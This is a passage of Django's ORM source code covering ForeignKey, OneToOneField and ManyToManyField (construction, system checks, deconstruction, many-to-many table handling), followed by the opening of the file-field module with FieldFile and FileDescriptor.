            assert isinstance(to, six.string_types), (
                "%s(%r) is invalid. First parameter to ForeignKey must be "
                "either a model, a model name, or the string %r" % (
                    self.__class__.__name__, to,
                    RECURSIVE_RELATIONSHIP_CONSTANT,
                )
            )
        else:
            # For backwards compatibility purposes, we need to *try* and set
            # the to_field during FK construction. It won't be guaranteed to
            # be correct until contribute_to_class is called. Refs #12190.
            to_field = to_field or (to._meta.pk and to._meta.pk.name)

        if on_delete is None:
            warnings.warn(
                "on_delete will be a required arg for %s in Django 2.0. Set "
                "it to models.CASCADE on models and in existing migrations "
                "if you want to maintain the current default behavior. "
                "See https://docs.djangoproject.com/en/%s/ref/models/fields/"
                "#django.db.models.ForeignKey.on_delete" % (
                    self.__class__.__name__,
                    get_docs_version(),
                ),
                RemovedInDjango20Warning, 2)
            on_delete = CASCADE

        elif not callable(on_delete):
            warnings.warn(
                "The signature for {0} will change in Django 2.0. "
                "Pass to_field='{1}' as a kwarg instead of as an arg.".format(
                    self.__class__.__name__,
                    on_delete,
                ),
                RemovedInDjango20Warning, 2)
            on_delete, to_field = to_field, on_delete

        kwargs['rel'] = self.rel_class(
            self, to, to_field,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            parent_link=parent_link,
            on_delete=on_delete,
        )

        kwargs['db_index'] = kwargs.get('db_index', True)

        super(ForeignKey, self).__init__(
            to, on_delete, from_fields=['self'], to_fields=[to_field], **kwargs)

        self.db_constraint = db_constraint

    def check(self, **kwargs):
        errors = super(ForeignKey, self).check(**kwargs)
        errors.extend(self._check_on_delete())
        errors.extend(self._check_unique())
        return errors

    def _check_on_delete(self):
        on_delete = getattr(self.remote_field, 'on_delete', None)
        if on_delete == SET_NULL and not self.null:
            return [
                checks.Error(
                    'Field specifies on_delete=SET_NULL, but cannot be null.',
                    hint='Set null=True argument on the field, or change the on_delete rule.',
                    obj=self,
                    id='fields.E320',
                )
            ]
        elif on_delete == SET_DEFAULT and not self.has_default():
            return [
                checks.Error(
                    'Field specifies on_delete=SET_DEFAULT, but has no default value.',
                    hint='Set a default value, or change the on_delete rule.',
                    obj=self,
                    id='fields.E321',
                )
            ]
        else:
            return []

    def _check_unique(self, **kwargs):
        return [
            checks.Warning(
                'Setting unique=True on a ForeignKey has the same effect as using a OneToOneField.',
                hint='ForeignKey(unique=True) is usually better served by a OneToOneField.',
                obj=self,
                id='fields.W342',
            )
        ] if self.unique else []

    def deconstruct(self):
        name, path, args, kwargs = super(ForeignKey, self).deconstruct()
        del kwargs['to_fields']
        del kwargs['from_fields']
        # Handle the simpler arguments
        if self.db_index:
            del kwargs['db_index']
        else:
            kwargs['db_index'] = False
        if self.db_constraint is not True:
            kwargs['db_constraint'] = self.db_constraint
        # Rel needs more work.
        to_meta = getattr(self.remote_field.model, "_meta", None)
        if self.remote_field.field_name and (
                not to_meta or (to_meta.pk and self.remote_field.field_name != to_meta.pk.name)):
            kwargs['to_field'] = self.remote_field.field_name
        return name, path, args, kwargs

    @property
    def target_field(self):
        return self.foreign_related_fields[0]

    def get_reverse_path_info(self):
        """
        Get path from the related model to this field's model.
        """
        opts = self.model._meta
        from_opts = self.remote_field.model._meta
        pathinfos = [PathInfo(from_opts, opts, (opts.pk,), self.remote_field, not self.unique, False)]
        return pathinfos

    def validate(self, value, model_instance):
        if self.remote_field.parent_link:
            return
        super(ForeignKey, self).validate(value, model_instance)
        if value is None:
            return

        using = router.db_for_read(self.remote_field.model, instance=model_instance)
        qs = self.remote_field.model._default_manager.using(using).filter(
            **{self.remote_field.field_name: value}
        )
        qs = qs.complex_filter(self.get_limit_choices_to())
        if not qs.exists():
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={
                    'model': self.remote_field.model._meta.verbose_name, 'pk': value,
                    'field': self.remote_field.field_name, 'value': value,
                },  # 'pk' is included for backwards compatibility
            )

    def get_attname(self):
        return '%s_id' % self.name

    def get_attname_column(self):
        attname = self.get_attname()
        column = self.db_column or attname
        return attname, column

    def get_default(self):
        "Here we check if the default value is an object and return the to_field if so."
        field_default = super(ForeignKey, self).get_default()
        if isinstance(field_default, self.remote_field.model):
            return getattr(field_default, self.target_field.attname)
        return field_default

    def get_db_prep_save(self, value, connection):
        if value is None or (value == '' and
                             (not self.target_field.empty_strings_allowed or
                              connection.features.interprets_empty_strings_as_nulls)):
            return None
        else:
            return self.target_field.get_db_prep_save(value, connection=connection)

    def get_db_prep_value(self, value, connection, prepared=False):
        return self.target_field.get_db_prep_value(value, connection, prepared)

    def contribute_to_related_class(self, cls, related):
        super(ForeignKey, self).contribute_to_related_class(cls, related)
        if self.remote_field.field_name is None:
            self.remote_field.field_name = cls._meta.pk.name

    def formfield(self, **kwargs):
        db = kwargs.pop('using', None)
        if isinstance(self.remote_field.model, six.string_types):
            raise ValueError("Cannot create form field for %r yet, because "
                             "its related model %r has not been loaded yet" %
                             (self.name, self.remote_field.model))
        defaults = {
            'form_class': forms.ModelChoiceField,
            'queryset': self.remote_field.model._default_manager.using(db),
            'to_field_name': self.remote_field.field_name,
        }
        defaults.update(kwargs)
        return super(ForeignKey, self).formfield(**defaults)

    def db_check(self, connection):
        return []

    def db_type(self, connection):
        return self.target_field.rel_db_type(connection=connection)

    def db_parameters(self, connection):
        return {"type": self.db_type(connection), "check": self.db_check(connection)}

    def convert_empty_strings(self, value, expression, connection, context):
        if (not value) and isinstance(value, six.string_types):
            return None
        return value

    def get_db_converters(self, connection):
        converters = super(ForeignKey, self).get_db_converters(connection)
        if connection.features.interprets_empty_strings_as_nulls:
            converters += [self.convert_empty_strings]
        return converters

    def get_col(self, alias, output_field=None):
        return super(ForeignKey, self).get_col(alias, output_field or self.target_field)


class OneToOneField(ForeignKey):
    """
    A OneToOneField is essentially the same as a ForeignKey, with the exception
    that it always carries a "unique" constraint with it and the reverse
    relation always returns the object pointed to (since there will only ever
    be one), rather than returning a list.
    """

    # Field flags
    many_to_many = False
    many_to_one = False
    one_to_many = False
    one_to_one = True

    related_accessor_class = ReverseOneToOneDescriptor
    forward_related_accessor_class = ForwardOneToOneDescriptor
    rel_class = OneToOneRel

    description = _("One-to-one relationship")

    def __init__(self, to, on_delete=None, to_field=None, **kwargs):
        kwargs['unique'] = True

        if on_delete is None:
            warnings.warn(
                "on_delete will be a required arg for %s in Django 2.0. Set "
                "it to models.CASCADE on models and in existing migrations "
                "if you want to maintain the current default behavior. "
                "See https://docs.djangoproject.com/en/%s/ref/models/fields/"
                "#django.db.models.ForeignKey.on_delete" % (
                    self.__class__.__name__,
                    get_docs_version(),
                ),
                RemovedInDjango20Warning, 2)
            on_delete = CASCADE

        elif not callable(on_delete):
            warnings.warn(
                "The signature for {0} will change in Django 2.0. "
                "Pass to_field='{1}' as a kwarg instead of as an arg.".format(
                    self.__class__.__name__,
                    on_delete,
                ),
                RemovedInDjango20Warning, 2)
            to_field = on_delete
            on_delete = CASCADE  # Avoid warning in superclass

        super(OneToOneField, self).__init__(to, on_delete, to_field=to_field, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(OneToOneField, self).deconstruct()
        if "unique" in kwargs:
            del kwargs['unique']
        return name, path, args, kwargs

    def formfield(self, **kwargs):
        if self.remote_field.parent_link:
            return None
        return super(OneToOneField, self).formfield(**kwargs)

    def save_form_data(self, instance, data):
        if isinstance(data, self.remote_field.model):
            setattr(instance, self.name, data)
        else:
            setattr(instance, self.attname, data)

    def _check_unique(self, **kwargs):
        # Override ForeignKey since check isn't applicable here.
        return []


def create_many_to_many_intermediary_model(field, klass):
    from django.db import models

    def set_managed(model, related, through):
        through._meta.managed = model._meta.managed or related._meta.managed

    to_model = resolve_relation(klass, field.remote_field.model)
    name = '%s_%s' % (klass._meta.object_name, field.name)
    lazy_related_operation(set_managed, klass, to_model, name)

    to = make_model_tuple(to_model)[1]
    from_ = klass._meta.model_name
    if to == from_:
        to = 'to_%s' % to
        from_ = 'from_%s' % from_

    meta = type(str('Meta'), (object,), {
        'db_table': field._get_m2m_db_table(klass._meta),
        'auto_created': klass,
        'app_label': klass._meta.app_label,
        'db_tablespace': klass._meta.db_tablespace,
        'unique_together': (from_, to),
        'verbose_name': _('%(from)s-%(to)s relationship') % {'from': from_, 'to': to},
        'verbose_name_plural': _('%(from)s-%(to)s relationships') % {'from': from_, 'to': to},
        'apps': field.model._meta.apps,
    })
    # Construct and return the new class.
    return type(str(name), (models.Model,), {
        'Meta': meta,
        '__module__': klass.__module__,
        from_: models.ForeignKey(
            klass,
            related_name='%s+' % name,
            db_tablespace=field.db_tablespace,
            db_constraint=field.remote_field.db_constraint,
            on_delete=CASCADE,
        ),
        to: models.ForeignKey(
            to_model,
            related_name='%s+' % name,
            db_tablespace=field.db_tablespace,
            db_constraint=field.remote_field.db_constraint,
            on_delete=CASCADE,
        )
    })


class ManyToManyField(RelatedField):
    """
    Provide a many-to-many relation by using an intermediary model that
    holds two ForeignKey fields pointed at the two sides of the relation.

    Unless a ``through`` model was provided, ManyToManyField will use the
    create_many_to_many_intermediary_model factory to automatically generate
    the intermediary model.
    """

    # Field flags
    many_to_many = True
    many_to_one = False
    one_to_many = False
    one_to_one = False

    rel_class = ManyToManyRel

    description = _("Many-to-many relationship")

    def __init__(self, to, related_name=None, related_query_name=None,
                 limit_choices_to=None, symmetrical=None, through=None,
                 through_fields=None, db_constraint=True, db_table=None,
                 swappable=True, **kwargs):
        try:
            to._meta
        except AttributeError:
            assert isinstance(to, six.string_types), (
                "%s(%r) is invalid. First parameter to ManyToManyField must be "
                "either a model, a model name, or the string %r" %
                (self.__class__.__name__, to, RECURSIVE_RELATIONSHIP_CONSTANT)
            )
            # Class names must be ASCII in Python 2.x, so we forcibly coerce it
            # here to break early if there's a problem.
            to = str(to)

        if symmetrical is None:
            symmetrical = (to == RECURSIVE_RELATIONSHIP_CONSTANT)

        if through is not None:
            assert db_table is None, (
                "Cannot specify a db_table if an intermediary model is used."
            )

        kwargs['rel'] = self.rel_class(
            self, to,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            symmetrical=symmetrical,
            through=through,
            through_fields=through_fields,
            db_constraint=db_constraint,
        )
        self.has_null_arg = 'null' in kwargs

        super(ManyToManyField, self).__init__(**kwargs)

        self.db_table = db_table
        self.swappable = swappable

    def check(self, **kwargs):
        errors = super(ManyToManyField, self).check(**kwargs)
        errors.extend(self._check_unique(**kwargs))
        errors.extend(self._check_relationship_model(**kwargs))
        errors.extend(self._check_ignored_options(**kwargs))
        errors.extend(self._check_table_uniqueness(**kwargs))
        return errors

    def _check_unique(self, **kwargs):
        if self.unique:
            return [
                checks.Error(
                    'ManyToManyFields cannot be unique.',
                    obj=self,
                    id='fields.E330',
                )
            ]
        return []

    def _check_ignored_options(self, **kwargs):
        warnings = []

        if self.has_null_arg:
            warnings.append(
                checks.Warning(
                    'null has no effect on ManyToManyField.',
                    obj=self,
                    id='fields.W340',
                )
            )

        if len(self._validators) > 0:
            warnings.append(
                checks.Warning(
                    'ManyToManyField does not support validators.',
                    obj=self,
                    id='fields.W341',
                )
            )
        if (self.remote_field.limit_choices_to and self.remote_field.through and
                not self.remote_field.through._meta.auto_created):
            warnings.append(
                checks.Warning(
                    'limit_choices_to has no effect on ManyToManyField '
                    'with a through model.',
                    obj=self,
                    id='fields.W343',
                )
            )

        return warnings

    def _check_relationship_model(self, from_model=None, **kwargs):
        if hasattr(self.remote_field.through, '_meta'):
            qualified_model_name = "%s.%s" % (
                self.remote_field.through._meta.app_label, self.remote_field.through.__name__)
        else:
            qualified_model_name = self.remote_field.through

        errors = []

        if self.remote_field.through not in self.opts.apps.get_models(include_auto_created=True):
            # The relationship model is not installed.
            errors.append(
                checks.Error(
                    "Field specifies a many-to-many relation through model "
                    "'%s', which has not been installed." % qualified_model_name,
                    obj=self,
                    id='fields.E331',
                )
            )

        else:
            assert from_model is not None, (
                "ManyToManyField with intermediate "
                "tables cannot be checked if you don't pass the model "
                "where the field is attached to."
            )
            # Set some useful local variables
            to_model = resolve_relation(from_model, self.remote_field.model)
            from_model_name = from_model._meta.object_name
            if isinstance(to_model, six.string_types):
                to_model_name = to_model
            else:
                to_model_name = to_model._meta.object_name
            relationship_model_name = self.remote_field.through._meta.object_name
            self_referential = from_model == to_model

            # Check symmetrical attribute.
            if (self_referential and self.remote_field.symmetrical and
                    not self.remote_field.through._meta.auto_created):
                errors.append(
                    checks.Error(
                        'Many-to-many fields with intermediate tables must not be symmetrical.',
                        obj=self,
                        id='fields.E332',
                    )
                )

            # Count foreign keys in intermediate model
            if self_referential:
                seen_self = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_self > 2 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            "The model is used as an intermediate model by "
                            "'%s', but it has more than two foreign keys "
                            "to '%s', which is ambiguous. You must specify "
                            "which two foreign keys Django should use via the "
                            "through_fields keyword argument." % (self, from_model_name),
                            hint="Use through_fields to specify which two foreign keys Django should use.",
                            obj=self.remote_field.through,
                            id='fields.E333',
                        )
                    )

            else:
                # Count foreign keys in relationship model
                seen_from = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )
                seen_to = sum(
                    to_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_from > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            ("The model is used as an intermediate model by "
                             "'%s', but it has more than one foreign key "
                             "from '%s', which is ambiguous. You must specify "
                             "which foreign key Django should use via the "
                             "through_fields keyword argument.") % (self, from_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey("self", symmetrical=False, through="%s").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E334',
                        )
                    )

                if seen_to > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            "The model is used as an intermediate model by "
                            "'%s', but it has more than one foreign key "
                            "to '%s', which is ambiguous. You must specify "
                            "which foreign key Django should use via the "
                            "through_fields keyword argument." % (self, to_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey("self", symmetrical=False, through="%s").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E335',
                        )
                    )

                if seen_from == 0 or seen_to == 0:
                    errors.append(
                        checks.Error(
                            "The model is used as an intermediate model by "
                            "'%s', but it does not have a foreign key to '%s' or '%s'." % (
                                self, from_model_name, to_model_name
                            ),
                            obj=self.remote_field.through,
                            id='fields.E336',
                        )
                    )

        # Validate `through_fields`.
        if self.remote_field.through_fields is not None:
            # Validate that we're given an iterable of at least two items
            # and that none of them is "falsy".
            if not (len(self.remote_field.through_fields) >= 2 and
                    self.remote_field.through_fields[0] and self.remote_field.through_fields[1]):
                errors.append(
                    checks.Error(
                        "Field specifies 'through_fields' but does not provide "
                        "the names of the two link fields that should be used "
                        "for the relation through model '%s'." % qualified_model_name,
                        hint="Make sure you specify 'through_fields' as through_fields=('field1', 'field2')",
                        obj=self,
                        id='fields.E337',
                    )
                )

            # Validate the given through fields -- they should be actual
            # fields on the through model, and also be foreign keys to the
            # expected models.
            else:
                assert from_model is not None, (
                    "ManyToManyField with intermediate "
                    "tables cannot be checked if you don't pass the model "
                    "where the field is attached to."
                )

                source, through, target = from_model, self.remote_field.through, self.remote_field.model
                source_field_name, target_field_name = self.remote_field.through_fields[:2]

                for field_name, related_model in ((source_field_name, source),
                                                  (target_field_name, target)):

                    possible_field_names = []
                    for f in through._meta.fields:
                        if hasattr(f, 'remote_field') and getattr(f.remote_field, 'model', None) == related_model:
                            possible_field_names.append(f.name)
                    if possible_field_names:
                        hint = "Did you mean one of the following foreign keys to '%s': %s?" % (
                            related_model._meta.object_name,
                            ', '.join(possible_field_names),
                        )
                    else:
                        hint = None

                    try:
                        field = through._meta.get_field(field_name)
                    except exceptions.FieldDoesNotExist:
                        errors.append(
                            checks.Error(
                                "The intermediary model '%s' has no field '%s'."
                                % (qualified_model_name, field_name),
                                hint=hint,
                                obj=self,
                                id='fields.E338',
                            )
                        )
                    else:
                        if not (hasattr(field, 'remote_field') and
                                getattr(field.remote_field, 'model', None) == related_model):
                            errors.append(
                                checks.Error(
                                    "'%s.%s' is not a foreign key to '%s'." % (
                                        through._meta.object_name, field_name,
                                        related_model._meta.object_name,
                                    ),
                                    hint=hint,
                                    obj=self,
                                    id='fields.E339',
                                )
                            )

        return errors

    def _check_table_uniqueness(self, **kwargs):
        if isinstance(self.remote_field.through, six.string_types):
            return []
        registered_tables = {
            model._meta.db_table: model
            for model in self.opts.apps.get_models(include_auto_created=True)
            if model != self.remote_field.through
        }
        m2m_db_table = self.m2m_db_table()
        if m2m_db_table in registered_tables:
            model = registered_tables[m2m_db_table]
            if model._meta.auto_created:
                def _get_field_name(model):
                    for field in model._meta.auto_created._meta.many_to_many:
                        if field.remote_field.through is model:
                            return field.name
                opts = model._meta.auto_created._meta
                clashing_obj = '%s.%s' % (opts.label, _get_field_name(model))
            else:
                clashing_obj = '%s' % model._meta.label
            return [
                checks.Error(
                    "The field's intermediary table '%s' clashes with the "
                    "table name of '%s'." % (m2m_db_table, clashing_obj),
                    obj=self,
                    id='fields.E340',
                )
            ]
        return []

    def deconstruct(self):
        name, path, args, kwargs = super(ManyToManyField, self).deconstruct()
        # Handle the simpler arguments.
        if self.db_table is not None:
            kwargs['db_table'] = self.db_table
        if self.remote_field.db_constraint is not True:
            kwargs['db_constraint'] = self.remote_field.db_constraint
        if self.remote_field.related_name is not None:
            kwargs['related_name'] = self.remote_field.related_name
        if self.remote_field.related_query_name is not None:
            kwargs['related_query_name'] = self.remote_field.related_query_name
        # Rel needs more work.
        if isinstance(self.remote_field.model, six.string_types):
            kwargs['to'] = self.remote_field.model
        else:
            kwargs['to'] = "%s.%s" % (
                self.remote_field.model._meta.app_label,
                self.remote_field.model._meta.object_name,
            )
        if getattr(self.remote_field, 'through', None) is not None:
            if isinstance(self.remote_field.through, six.string_types):
                kwargs['through'] = self.remote_field.through
            elif not self.remote_field.through._meta.auto_created:
                kwargs['through'] = "%s.%s" % (
                    self.remote_field.through._meta.app_label,
                    self.remote_field.through._meta.object_name,
                )
        # If swappable is True, then see if we're actually pointing to the target
        # of a swap.
        swappable_setting = self.swappable_setting
        if swappable_setting is not None:
            # If it's already a settings reference, error.
            if hasattr(kwargs['to'], "setting_name"):
                if kwargs['to'].setting_name != swappable_setting:
                    raise ValueError(
                        "Cannot deconstruct a ManyToManyField pointing to a "
                        "model that is swapped in place of more than one model "
                        "(%s and %s)" % (kwargs['to'].setting_name, swappable_setting)
                    )

            from django.db.migrations.writer import SettingsReference
            kwargs['to'] = SettingsReference(
                kwargs['to'],
                swappable_setting,
            )
        return name, path, args, kwargs

    def _get_path_info(self, direct=False):
        """
        Called by both direct and indirect m2m traversal.
        """
        pathinfos = []
        int_model = self.remote_field.through
        linkfield1 = int_model._meta.get_field(self.m2m_field_name())
        linkfield2 = int_model._meta.get_field(self.m2m_reverse_field_name())
        if direct:
            join1infos = linkfield1.get_reverse_path_info()
            join2infos = linkfield2.get_path_info()
        else:
            join1infos = linkfield2.get_reverse_path_info()
            join2infos = linkfield1.get_path_info()
        pathinfos.extend(join1infos)
        pathinfos.extend(join2infos)
        return pathinfos

    def get_path_info(self):
        return self._get_path_info(direct=True)

    def get_reverse_path_info(self):
        return self._get_path_info(direct=False)

    def _get_m2m_db_table(self, opts):
        """
        Function that can be curried to provide the m2m table name for this
        relation.
        """
        if self.remote_field.through is not None:
            return self.remote_field.through._meta.db_table
        elif self.db_table:
            return self.db_table
        else:
            return utils.truncate_name('%s_%s' % (opts.db_table, self.name), connection.ops.max_name_length())

    def _get_m2m_attr(self, related, attr):
        """
        Function that can be curried to provide the source accessor or DB
        column name for the m2m table.
        """
        cache_attr = '_m2m_%s_cache' % attr
        if hasattr(self, cache_attr):
            return getattr(self, cache_attr)
        if self.remote_field.through_fields is not None:
            link_field_name = self.remote_field.through_fields[0]
        else:
            link_field_name = None
        for f in self.remote_field.through._meta.fields:
            if (f.is_relation and f.remote_field.model == related.related_model and
                    (link_field_name is None or link_field_name == f.name)):
                setattr(self, cache_attr, getattr(f, attr))
                return getattr(self, cache_attr)

    def _get_m2m_reverse_attr(self, related, attr):
        """
        Function that can be curried to provide the related accessor or DB
        column name for the m2m table.
        """
        cache_attr = '_m2m_reverse_%s_cache' % attr
        if hasattr(self, cache_attr):
            return getattr(self, cache_attr)
        found = False
        if self.remote_field.through_fields is not None:
            link_field_name = self.remote_field.through_fields[1]
        else:
            link_field_name = None
        for f in self.remote_field.through._meta.fields:
            if f.is_relation and f.remote_field.model == related.model:
                if link_field_name is None and related.related_model == related.model:
                    # If this is an m2m-intermediate to self,
                    # the first foreign key you find will be
                    # the source column. Keep searching for
                    # the second foreign key.
                    if found:
                        setattr(self, cache_attr, getattr(f, attr))
                        break
                    else:
                        found = True
                elif link_field_name is None or link_field_name == f.name:
                    setattr(self, cache_attr, getattr(f, attr))
                    break
        return getattr(self, cache_attr)

    def contribute_to_class(self, cls, name, **kwargs):
        # To support multiple relations to self, it's useful to have a non-None
        # related name on symmetrical relations for internal reasons. The
        # concept doesn't make a lot of sense externally ("you want me to
        # specify *what* on my non-reversible relation?!"), so we set it up
        # automatically. The funky name reduces the chance of an accidental
        # clash.
        if self.remote_field.symmetrical and (
                self.remote_field.model == "self" or self.remote_field.model == cls._meta.object_name):
            self.remote_field.related_name = "%s_rel_+" % name
        elif self.remote_field.is_hidden():
            # If the backwards relation is disabled, replace the original
            # related_name with one generated from the m2m field name. Django
            # still uses backwards relations internally and we need to avoid
            # clashes between multiple m2m fields with related_name == '+'.
            self.remote_field.related_name = "_%s_%s_+" % (cls.__name__.lower(), name)

        super(ManyToManyField, self).contribute_to_class(cls, name, **kwargs)

        # The intermediate m2m model is not auto created if:
        #  1) There is a manually specified intermediate, or
        #  2) The class owning the m2m field is abstract.
        #  3) The class owning the m2m field has been swapped out.
        if not cls._meta.abstract:
            if self.remote_field.through:
                def resolve_through_model(_, model, field):
                    field.remote_field.through = model
                lazy_related_operation(resolve_through_model, cls, self.remote_field.through, field=self)
            elif not cls._meta.swapped:
                self.remote_field.through = create_many_to_many_intermediary_model(self, cls)

        # Add the descriptor for the m2m relation.
        setattr(cls, self.name, ManyToManyDescriptor(self.remote_field, reverse=False))

        # Set up the accessor for the m2m table name for the relation.
        self.m2m_db_table = curry(self._get_m2m_db_table, cls._meta)

    def contribute_to_related_class(self, cls, related):
        # Internal M2Ms (i.e., those with a related name ending with '+')
        # and swapped models don't get a related descriptor.
        if not self.remote_field.is_hidden() and not related.related_model._meta.swapped:
            setattr(cls, related.get_accessor_name(), ManyToManyDescriptor(self.remote_field, reverse=True))

        # Set up the accessors for the column names on the m2m table.
        self.m2m_column_name = curry(self._get_m2m_attr, related, 'column')
        self.m2m_reverse_name = curry(self._get_m2m_reverse_attr, related, 'column')

        self.m2m_field_name = curry(self._get_m2m_attr, related, 'name')
        self.m2m_reverse_field_name = curry(self._get_m2m_reverse_attr, related, 'name')

        get_m2m_rel = curry(self._get_m2m_attr, related, 'remote_field')
        self.m2m_target_field_name = lambda: get_m2m_rel().field_name
        get_m2m_reverse_rel = curry(self._get_m2m_reverse_attr, related, 'remote_field')
        self.m2m_reverse_target_field_name = lambda: get_m2m_reverse_rel().field_name

    def set_attributes_from_rel(self):
        pass

    def value_from_object(self, obj):
        """
        Return the value of this field in the given model instance.
        """
        if obj.pk is None:
            return self.related_model.objects.none()
        return getattr(obj, self.attname).all()

    def save_form_data(self, instance, data):
        getattr(instance, self.attname).set(data)

    def formfield(self, **kwargs):
        db = kwargs.pop('using', None)
        defaults = {
            'form_class': forms.ModelMultipleChoiceField,
            'queryset': self.remote_field.model._default_manager.using(db),
        }
        defaults.update(kwargs)
        # If initial is passed in, it's a list of related objects, but the
        # MultipleChoiceField takes a list of IDs.
        if defaults.get('initial') is not None:
            initial = defaults['initial']
            if callable(initial):
                initial = initial()
            defaults['initial'] = [i._get_pk_val() for i in initial]
        return super(ManyToManyField, self).formfield(**defaults)

    def db_check(self, connection):
        return None

    def db_type(self, connection):
        # A ManyToManyField is not represented by a single column,
        # so return None.
        return None

    def db_parameters(self, connection):
        return {"type": None, "check": None}






import datetime
import os
import posixpath
import warnings

from django import forms
from django.core import checks
from django.core.files.base import File
from django.core.files.images import ImageFile
from django.core.files.storage import default_storage
from django.core.validators import validate_image_file_extension
from django.db.models import signals
from django.db.models.fields import Field
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_str, force_text
from django.utils.translation import ugettext_lazy as _


class FieldFile(File):
    def __init__(self, instance, field, name):
        super(FieldFile, self).__init__(None, name)
        self.instance = instance
        self.field = field
        self.storage = field.storage
        self._committed = True

    def __eq__(self, other):
        # Older code may be expecting FileField values to be simple strings.
        # By overriding the == operator, it can remain backwards compatibility.
        if hasattr(other, 'name'):
            return self.name == other.name
        return self.name == other

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        return hash(self.name)

    # The standard File contains most of the necessary properties, but
    # FieldFiles can be instantiated without a name, so that needs to
    # be checked for here.

    def _require_file(self):
        if not self:
            raise ValueError("The '%s' attribute has no file associated with it." % self.field.name)

    def _get_file(self):
        self._require_file()
        if not hasattr(self, '_file') or self._file is None:
            self._file = self.storage.open(self.name, 'rb')
        return self._file

    def _set_file(self, file):
        self._file = file

    def _del_file(self):
        del self._file

    file = property(_get_file, _set_file, _del_file)

    def _get_path(self):
        self._require_file()
        return self.storage.path(self.name)
    path = property(_get_path)

    def _get_url(self):
        self._require_file()
        return self.storage.url(self.name)
    url = property(_get_url)

    def _get_size(self):
        self._require_file()
        if not self._committed:
            return self.file.size
        return self.storage.size(self.name)
    size = property(_get_size)

    def open(self, mode='rb'):
        self._require_file()
        if hasattr(self, '_file') and self._file is not None:
            self.file.open(mode)
        else:
            self.file = self.storage.open(self.name, mode)
    # open() doesn't alter the file's contents, but it does reset the pointer
    open.alters_data = True

    # In addition to the standard File API, FieldFiles have extra methods
    # to further manipulate the underlying file, as well as update the
    # associated model instance.

    def save(self, name, content, save=True):
        name = self.field.generate_filename(self.instance, name)
        self.name = self.storage.save(name, content, max_length=self.field.max_length)
        setattr(self.instance, self.field.name, self.name)
        self._committed = True

        # Save the object because it has changed, unless save is False
        if save:
            self.instance.save()
    save.alters_data = True

    def delete(self, save=True):
        if not self:
            return
        # Only close the file if it's already open, which we know by the
        # presence of self._file
        if hasattr(self, '_file'):
            self.close()
            del self.file

        self.storage.delete(self.name)

        self.name = None
        setattr(self.instance, self.field.name, self.name)
        self._committed = False

        if save:
            self.instance.save()
    delete.alters_data = True

    def _get_closed(self):
        file = getattr(self, '_file', None)
        return file is None or file.closed
    closed = property(_get_closed)

    def close(self):
        file = getattr(self, '_file', None)
        if file is not None:
            file.close()

    def __getstate__(self):
        # FieldFile needs access to its associated model field and an instance
        # it's attached to in order to work properly, but the only necessary
        # data to be pickled is the file's name itself. Everything else will
        # be restored later, by FileDescriptor below.
        return {'name': self.name, 'closed': False, '_committed': True, '_file': None}


class FileDescriptor(object):
    """
    The descriptor for the file attribute on the model instance. Returns a
    FieldFile when accessed so you can do stuff like::

        >>> from myapp.models import MyModel
        >>> instance = MyModel.objects.get(pk=1)
        >>> instance.file.size

    Assigns a file object on assignment so you can do::

        >>> with open('/path/to/hello.world', 'r') as f:
        ...     instance.file = File(f)
    """
    def __init__(self, field):
        self.field = field

    def __get__(self, instance, cls=None):
        if instance is None:
            return self

        # This is slightly complicated, so worth an explanation.
        # instance.file`needs to ultimately return some instance of `File`,
        # probably a subclass. Additionally, this returned object needs to have
        # the FieldFile API so that users can easily do things like
        # instance.file.path and have that delegated to the file storage engine.
        # Easy enough if we're strict about assignment in __set__, but if you
        # peek below you can see that we're not. So depending on the current
        # value of the field we have to dynamically construct some sort of
        # "thing" to return.

        # The instance dict contains whatever was originally assigned
        # in __set__.
        if self.field.name in instance.__dict__:
            file = instance.__dict__[self.field.name]
        else:
            instance.refresh_from_db(fields=[self.field.name])
            file = getattr(instance, self.field.name)

        # If this value is a string (instance.file = "path/to/file") or None
        # then we simply wrap it with the appropriate attribute class according
        # to the file field. [This is FieldFile for FileFields and
        # ImageFieldFile for ImageFields; it's also conceivable that user
        # subclasses might also want to subclass the attribute class]. This
        # object understands how to convert a path to a file, and also how to
        # handle None.
        if isinstance(file, six.string_types) or file is None:
            attr = self.field.attr_class(instance, self.field, file)
            instance.__dict__[self.field.name] = attr

        # Other types of files may be assigned as well, but they need to have
        # the FieldFile interface added to them. Thus, we wrap any other type of
        # File inside a FieldFile (well, the field's attr_class, which is
        # usually FieldFile).
        elif isinstance(file, File) and not isinstance(file, FieldFile):
            file_copy = self.field.attr_class(instance, self.field, file.name)
            file_copy.file = file
            file_copy._committed = False
            instance.__dict__[self.field.name] = file_copy

        # Finally, because of the (some would say boneheaded) way pickle works,
        # the underlying FieldFile might not actually itself have an associated
        # file. So we need to reset the details of the FieldFile in those cases.
        elif isinstance(file, FieldFile) and not hasattr(file, 'field'):
            file.instance = instance
            file.field = self.field
            file.storage = self.field.storage

        # Make sure that the instance is correct.
        elif isinstance(file, FieldFile) and instance is not file.instance:
            file.instance = instance

        # That was fun, wasn't it?
        return instance.__dict__[self.field.name]

    def __set__(self, instance, value):
        instance.__dict__[self.field.name] = value


class FileField(Field):

    # The class to wrap instance attributes in. Accessing the file object off
    # the instance will always return an instance of attr_class.
    attr_class = FieldFile

    # The descriptor to use for accessing the attribute off of the class.
    descriptor_class = FileDescriptor

    description = _("File")

    def __init__(self, verbose_name=None, name=None, upload_to='', storage=None, **kwargs):
